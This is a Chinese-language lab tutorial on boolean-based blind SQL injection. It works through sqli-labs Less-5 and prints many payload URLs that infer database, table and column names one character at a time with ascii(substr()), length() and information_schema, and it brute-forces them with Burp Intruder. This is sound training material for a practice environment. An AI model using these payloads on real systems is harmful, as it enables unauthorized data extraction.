SQL盲注学习-布尔型
本次实验还是使用sqli-labs环境。在开始SQL盲注之前首先学习一下盲注需要用到的基础语法。
1、left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分。
left(a,b) 从左边截取a的b位
我们在命令行使用sqli-labs数据库实验一下,首先使用security数据库,然后对数据库名第一个字符进行查询,找到了第一个字母s

判断数据库第一位是否为s,加入判断语句=‘s’,看到结果返回1,说明当去数据库第一个字母为s

*没有使用数据库时结果返回为空

2、regexp函数:REGEXP在mysql是用来执行正则表达式的一个函数
select user() regexp ’root’ 查询当前用户是否为root,regexp为匹配root的正则表达式

查看当前数据库是否存在ri

3、like函数:LIKE通常与通配符%一起使用,%表示通配pattern中出现的内容,而不加通配符%的LIKE语法,表示精确匹配,其实际效果等同于 = 等于运算符
select user() like ‘ro%’ 查询当前用户是否为ro开头,可以看出当前用户是ro开头

使用like精准查询,这里可以看到使用like查询当前用户是否为root,结果为假,这是为什么呢?

因为我当前用户名为root@localhost

再次使用like精准查询当前用户,就返回了正确结果

4、sbustr函数:sbustr函数是用来截取字符串长度的函数。
substr(a,b,c),就是从位置b开始截取a字符串的c位长度

判断当前数据库第一个字母是否为s

判断前4位是否为secu

5、ascii() 函数:查看字符/数字/符号的ascii码
查询字母的ascii码 select ascii(‘c’)

查询数字的ascii码 select ascii(1)

查询符号的ascii码

6、python使用chr()将ascii码转换为对应字符,使用ord()将字符转换为ascii码

接下来进行试验,打开sqli-labs第五关
1、首先判断注入点 http://localhost:8088/sqli-labs/Less-5/?id=1,返回正常页面

输入http://localhost:8088/sqli-labs/Less-5/?id=1',页面报错说明存在注入点

2、使用order by猜列数,在order by 4时页面报错,说明存在3个列。


3、使用length函数查询数据库名长度直到找到正确的为止
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=1 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=2 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=3 --+
http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=4 --+

也可以使用Burp Suite抓包对长度进行爆破

得到了数据库长度为8位

4、对数据库名进行猜解
判断数据库的第一位开始一个字符的ascii是否大于100
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+ 结果返回正确

判断是否小于200
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))<200--+ 页面显示为空

不断缩小范围ascii范围
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>150--+ 页面显示为空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+ 页面显示为空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+ 页面显示为空
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>112--+ 结果返回正确
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>120--+ 页面显示为空
不断尝试后找到数据库第一位的ascii码为115

使用python查询ascii码115对应的字符为s

修改substr参数查询第二字符,不断尝试找到其ascii为101
http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),2,1))=101--+

使用python得到第二字段为e

由于刚刚已经才接到数据库名字长度为八个字符,所以需要破解到到第八位,就可以得到当前数据库名字了。
5、接下来开始猜解表
首先查看security数据库中表的数量,发现有四个表
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=1 ;--+ 页面显示为空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=2 ;--+ 页面显示为空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=3 ;--+ 页面显示为空
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 ;--+ 结果返回正确

使用length函数查询第一个表字段数:
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=1;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=2;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=3;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6;--+

使用ascii对第一个表的第一个字符进行猜解最终得到其ascii码为101
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

使用python得到字符为e

依次对六个字符进行猜解,得到数据表名为emails,看上去应该是邮件,不是我们想要的内容,接下来可以进行破解第二个表长度以及猜解名称这里不做演示,直到得到全部4个数据表名称emails、 referers 、uagents、users。接下来对users表进行猜解
6、猜解数据
首先判断列数,得到了一共有三个列。
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=1--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=2--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3--+

接下来对第一列表名的长度进行查询
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=1;--+
localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2;--+

使用ascii方法猜解第一个列第一个字符,得到105,第一个字符为i
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+ 猜解第一列i


修改substr函数,第二个参数,对第二个字符进行猜解,ascii码117,得到字符d
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=117--+ 猜解第一列d


接下来步骤类似,对其余数据进行猜解就可以了。
这是ASCII码中所有可以显示的字符,可以作为猜解的ASCII数值应该就是32-126,所以是不是只要把阈值范围内的数值做成一个字典直接跑就行了呢?

使用这个Payload试一下:
localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=1--+
Burp Suite抓取数据包,提交到Intruder,将数值添加为变量,然后加载32-126的字典

跑一下康康,成功得到了正确的ASCII码,

然后使用left方法试一下,使用left函数判断当前数据库名字的左边第一位是否为字符1,页面显示任何信息所以结果为不是
localhost:8088/sqli-labs/Less-5/?id=1' and left((select database()),1)='1' --+

现在我们遍历所有可以输入的字符爆破数据库的第一个字符,实验一下,果然成功遍历出了正确的字符S,但是大小写S都可以成功,那么s的ASCII为115而S的ASCII为83,为什么使用ASCII遍历时候可以成功呢?


下面可以看到security数据库的第一字符为s

查看ASCII码

然后判断一下其ASCII码是否为115

那么判断它是否为83

结果为否。
所以我觉得原因可能是因为用户在创建数据库时侯使用的时小写的security所以这个数据被记录在数据库中,在盲注时使用ASCII方法猜解到了数据库所存储的小写security信息,而由于数据库本身时不区分大小写的,所以当我们查询时使用大写小写均可以查询到该数据库。就导致了爆破时s/S均可以爆破成功。
接下来使用left方法对数据库名其余字符进行爆破,修改left的参数为2,使查询一次返回两个字符,然后将正确的第一个输入对第二个字符进行爆破,得到正确的两个字符


这样的话用left进行猜解,字典可以减少26个字母。
SQL盲注学习-布尔型的更多相关文章
- SQL盲注学习-时间型
本次对时间型盲注进行学习,还是的使用sqli-labs环境. 首先看一下时间型盲注需要用到的: 1.if()函数 if(a,b,c) 如果a为真则执行b,否则执行c.如图,由于1=1为真所以执行第 ...
- Natas15 Writeup(sql盲注之布尔盲注)
Natas15: 源码如下 /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) ...
- SQL盲注学习
如果数据库运行返回结果时只反馈对错不会返回数据库当中的信息 此时可以采用逻辑判断是否正确的盲注来获取信息 盲注是不能通过直接显示的途径来获取数据库数据的方法 1.布尔盲注 2.时间盲注 3.报错型盲注 ...
- 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记
pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...
- DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...
- Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)
Day41 login3(SKCTF)
- Kali学习笔记43:SQL盲注
前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...
- SQL盲注
一.首先输入1和-1 查看输入正确和不正确两种情况 二.三种注入POC LOW等级 ... where user_id =$id 输入 真 and 假 = 假 (1)...where u ...
- WEB安全番外第四篇--关于SQL盲注
一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...
随机推荐
- win7系统 右击任务栏 资源管理器 弹出菜单“已固定”和“最近”项目不显示故障处理
故障描述:右击任务栏中资源管理器图标时,弹出菜单只有“资源管理器”和“解除锁定”两个项目,“已固定”和“最近”项目缺失不显示,其他程序均显示正常,只有资源管理器这样.此故障一般发生在经常使用“已固定” ...
- Macaca app inspector-ios真机设备UI查看器
前言: App Inspector:浏览器端的移动设备 UI 查看器,使用树状态结构查看 UI 布局,自动生成 XPaths.官网:https://macacajs.github.io/app-ins ...
- VC 在桌面上绘制一些图形
注意:这是在桌面上绘制图形.如果想在VC++ MFC工程的视窗口上绘制图形.可以这么来,在工程View类的一个菜单响应(或者鼠标单击等事件的的响应)函数中添加下面main 中的代码,只需要将“红色字体 ...
- 【转载】 C#中ArrayList集合类的使用
在C#的集合操作过程中,我们一般常用的集合类为List集合,List集合是一种强类型的泛型集合,其实还有一个ArrayList集合类,ArrayList集合类则非泛型类的集合,并且ArrayList集 ...
- vue学习整理
1.webpack+vue自定义路径别名 vue-cli 用的是webpack,也可以使用webpack自定义别名这个功能,自定义别名这个功能当你在多层文件夹嵌套的时候不必一层一层找路径,直接使用自定 ...
- 从一道题看js的拆箱操作
前段时间看到一道题,如下:([][[]]+[])[+![]]+([]+{})[!+[]+![]]问最终打印结果,然后简单了解一下js的装箱,拆箱操作. 基本 装箱操作: 就是将基本类型(String, ...
- python基础-os模块
os 模块 功能:与操作系统交互的模块 使用方式:import os 常用的几种功能 os.path.dirname(文件名) 用于获取当前文件的所在目录 import os # 获取当前文件的所在目 ...
- 接触手机脚本编程------基于触动精灵的lua编程
Auto.js好用多了,还不用root直接能用,我为什么学这个呢..... 最近因为学习需要开始接触一门新的脚本语言,我更深刻的发现了,语言只是一种工具,重要的是解决问题的思维,由于这次是需要我快速掌 ...
- Gzip模块
Gzip模块为python的压缩和解压缩模块,读写gzip 文件 一.使用gzip模块压缩文件: 1 import gzip #导入python gzip模块,注意名字为全小写 2 g = gzip. ...
- Httpd服务入门知识-Httpd服务常见配置案例之Apache的工作做状态status页面
Httpd服务入门知识-Httpd服务常见配置案例之Apache的工作做状态status页面 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.status功能概述 status页 ...